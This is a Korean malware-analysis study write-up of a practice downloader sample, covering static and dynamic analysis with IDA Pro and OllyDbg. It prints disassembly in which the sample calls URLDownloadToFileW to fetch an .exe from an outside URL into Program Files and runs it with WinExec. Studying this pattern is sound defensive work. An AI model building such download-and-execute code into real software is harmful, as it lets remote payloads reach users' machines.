악성코드 분석 _ downloader.exe
@ 05_downloader.exe 파일 분석
- 분석 환경 : Windows7
- 분석 파일 : downloader.exe
- 사용 도구 : exeinfope, PEview, Dependency Walker, string1, PeStudio, Procexp, SysAnalyzer, hashcalc, IDA Pro, OllyDbg
downloader.exe 분석에 앞서 다운로더 악성코드의 특징에 대해 말해보자.
다운로더는 인터넷에서 다른 악성코드 컴포넌트를 다운로드하고 시스템에서 실행한다.
따라서, 새로운 악성코드를 다운로드하기 위해 URLDownloadtoFile 을 사용하고, 실행하기 위해서 ShellExecute , WinExec 등을 호출한다.
URLDownloadtoFile | 웹에 있는 파일을 다운로드 하고 싶을 때 사용할 수 있는 함수 |
ShellExecute | 외부 프로그램 실행시키기 |
WinExec | 외부 프로그램 실행시키기 |
이와 같은 지식을 알고 나면 실행파일을 분석할 때 어떤 함수에 의해 해당 실행파일이 어떤 유형의 악성코드일 지 예측해볼 수 있다.
1. 기초 정적 분석
1) 패킹 유무 및 제작 프로그램을 확인한다. (exeinfope)
exeinfope를 이용해서 downloader.exe파일을 열어본 결과 따로 패킹되지 않은것으로 확인되어 바로 실습을 진행하면 될 것 같다.
2) 실행 파일에 포함된 문자열 정보를 확인한다. ( strings.exe )
strings.exe를 이용해 실행파일에서 텍스트파일을 추출하였다.
추출한 텍스트파일을 열어 중요한 정보가 있나 분석해보자.
- downloader.exe.txt_01 을 보면 파일경로와 인터넷주소로 보이는 문자열이 포함되어있다.
downloader가 해당 url에서 확장자가 .exe 인 실행파일을 다운받아 test라는 이름으로 저장해 winexec를 통해 파일을 실행할것으로 예상된다.
- downloader.exe.txt_02를 보면 여러 함수들과 dll정보들을 확인할 수 있다.
이 중 눈여겨봐야할 함수는 Winexec , URLDownloadtoFileW이다.
이 문자열을 통해 downloader.exe는 어떠한 파일을 실행시키고, URLDownloadtoFileW를 통해 웹에있는 파일을 다운로드할것이라 예상할 수 있다.
03사진에서는 마지막에 패딩으로 쓰여있는데 이부분은 잘 몰겠음 ㅋ ㅠㅠ 여기서 더 볼거 있나 다시질문하기 @@@
ㅠㅠㅠdownloader.exe는 테스트파일 만드는거아니에요 ?ㅠㅠㅠ
3) PE 구조를 확인한다. (PEview)
PEview로 확인해봐도 다운로더가 사용하는 주요함수들을 찾을 수 있다.
4) 문자열 및 IAT 정보를 문서화한다. ( Dependency Walker)
< downloader.exe 의 KERNEL32.DLL 함수목록 >
GetCurrentProcess | 현재 실행되고있는 프로세스의 핸들을 반환값을 통해 얻음 |
GetCurrentProcessId | GetCurrentProcessId를 호출하는 프로세스의 식별자(PID)를 반환 |
GetCurrentThreadId | GetCurrentThreadId를 호출한 스레드의 식별번호를 가져옴 |
GetSystemTimeAsFileTime | 현재 시스템 날짜 및 시간을 검색 |
GetTickCount | OS부팅할때부터 지나간 시간을 msec 단위로 돌려줌 |
InterlockedCompareExchange | Target이 역참조하는 값을 Value로 만들고 원래의 값을 반환 |
InterlockedExchange | 원자적으로 비교/변경 동작을 수행 |
IsDebuggerPresent | 해당 프로세스가 디버깅을 당하고있는지의 여부를 PEB구조체의 디버깅 상태값을 확인 |
LoadLibraryW | DLL에 명시적으로 연결 |
QueryPerformanceCounter | 컴퓨터의 메인보드의 고해상도 타이머를 이용해 시간간격을 측정 |
SetUnhandledExceptionFilter | 각 스레드와 프로세스에 대한 최상위 예외 핸들러를 대체 |
Sleep | 명령어의 실행시간을 지연시킴 |
TerminateProcess | 프로세스 종료 |
UnhandledExceptionFilter | 프로세서가 디버깅중일때 다루어지지 않은 예외를 디버거에 넘김 |
Winexec | 외부 프로세스 실행 |
// 참고
Target이 역참조하는 값을 Value로 만들고 원래의 값을 반환합니다. 가능하면 컴파일러 내장함수를 이용해 구현됩니다 .이 함수는 멀티스레드가 공유하는 변수에 동기적으로 접근할 수 있는 방법을 제공합니다. 원자적으로 작동합니다. _InterlockedExchange 함수는 Win32 Window SDK InterlockedExchange 함수에 컴파일러 내장 지원을 제공합니다.
원자적으로 비교/변경 동작을 수행합니다. 포인터를 변경하고 싶다면 InterlockedCompareExchangePointer 함수를 사용합니다. 이 함수는 Destination과 Comarand를 비교합니다. Destination이 Comparand와 같다면 Exchange가 Destination에 저장됩니다. 반환 값은 Destination의 기존 값입니다. 이 함수의 매개변수는 32비트 경계에서 졍렬되어 있어야 합니다. 이 함수도 위의 함수처럼 멀티스레드가 공유하는 변수를 동기적으로 접근하게 해줍니다. 다른 interlocked 함수도 마찬가지입니다.
>> 출처 https://literate-t.tistory.com/109
< downloader.exe 의 URLMON.DLL 의 함수목록 >
URLDownloadToFileW | 웹에 있는 파일을 다운로드 하고 싶을 때 사용할 수 있는 함수 |
5) 바이러스 토탈 싸이트를 이용하여 자동화 분석을 실시한다. (Windows7 크롬 브라우저)
6) 'PeStudio' 도구를 이용하여 파일을 분석를 정리한다.
2. 기초 동적 분석
1) 'SysAnalyzer' 도구를 이용하여 기초 동적 분석을 진행한다.
2) 'procexp' 도구를 이용하여 프로세스 실행 관련 내용을 확인한다.
SysAnalyzer 에 downloader.exe파일을 올려놓고 실행하면 , procexp에 downloader.exe 파일이 test.exe파일을 생성하는것을 확인할 수 있다.
이는 downloader.exe파일이 위의 사이트에서 실행파일을 다운받아 test라는 이름으로 사용자의 pc 에 파일을 생성한것으로 볼 수 있다.
이거 부모자식 뭐 계산기로 계산하는거있었는데 까먹음 ㅠㅠ
ㅠㅠㅠㅠ
공부하고 다시쓰기 ***
3. 고급 정적 분석
- 'IDA Pro (32-bit)' 도구를 이용하여 고급 정적 분석을 진행한다.
아이다로 파일을 열어 분석한 결과 main함수의 주소는 00401800이다.
main 함수의 본체를 분석해보자.
함수 호출을 기준으로 나누어서 설명하겠다.
push offset LibFileName ; "urlmon.dll"
call ds:LoadLibraryW
urlmon.dll 을 LoadLibraryW 를 통해 불러오고 있다.
push 0 ; LPBINDSTATUSCALLBACK
push 0 ; DWORD
push offset aCProgramFilesT ; "c:\\Program Files\\test.exe"
push offset aHttpsNet123Tis ; "https://net123.tistory.com/attachment/c"...
push 0 ; LPUNKNOWN
call URLDownloadToFileW
파일을 다운받을 URL 주소와 파일을 다운받을 위치를 PUSH한 후 URLDownloadToFileW 을 호출하고 있다.
따라서, downloader.exe는 해당 URL에서 파일을 다운받아, C드라이브의 Program Files 에 test.exe라는 이름으로 파일을 저장할것으로 예상된다.
mov [ebp+var_4], eax
push 5 ; uCmdShow
push offset CmdLine ; "c:\\Program Files\\test.exe"
call ds:WinExec
그 후, cmd창을 열고 만들었던 test.exe파일을 WinExec 함수를 통해 실행하는것을 볼 수 있다.
4. 고급 동적 분석
- C:\Program Files에 다운로드된 'test.exe'를 삭제하고 'OllyDbg'를 이용하여 고급 동적 분석을 진행한다.
- main 함수
아이다에서 분석한것과 마찬가지로 CALL을 총 세번 하고 있다.
함수 본체를 분석해보자.
00401809 |. FF15 00204000 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryW
LoadLibrary를 통해 dll을 불러오고 있음
00401813 |. 68 10214000 PUSH download.00402110 ; UNICODE "c:\Program Files\test.exe"
00401818 |. 68 48214000 PUSH download.00402148 ; UNICODE "https://net123.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe"
0040181F |. E8 DCF7FFFF CALL <JMP.&urlmon.URLDownloadToFileW>
파일을 저장할 위치를 지정한 후, 해당 URL에서 파일을 다운로드받는다.
00401829 |. 68 E0214000 PUSH download.004021E0 ; |CmdLine = "c:\Program Files\test.exe"
0040182E |. FF15 04204000 CALL DWORD PTR DS:[<&KERNEL32.WinExec>] ; \WinExec
마지막 CALL 에선 WInExec함수를 호출해 다운받은 test.exe 파일을 실행하는것을 볼 수 있다.
0040182E 주소의 코드를 실행하면 다음과 같이 메세지창이 뜨는것을 확인할 수 있다.
그렇다면 정말 c:\Program Files 에 test.exe파일이 생성되었는지 확인해보자.
test.exe 이름의 응용프로그램이 생성된것을 알 수 있다.
이 파일은 downloader.exe가 해당 URL 에서 다운받아 저장한 실행파일이라고 볼 수 있다.
이것으로 downloader.exe 파일의 분석을 마치겠다.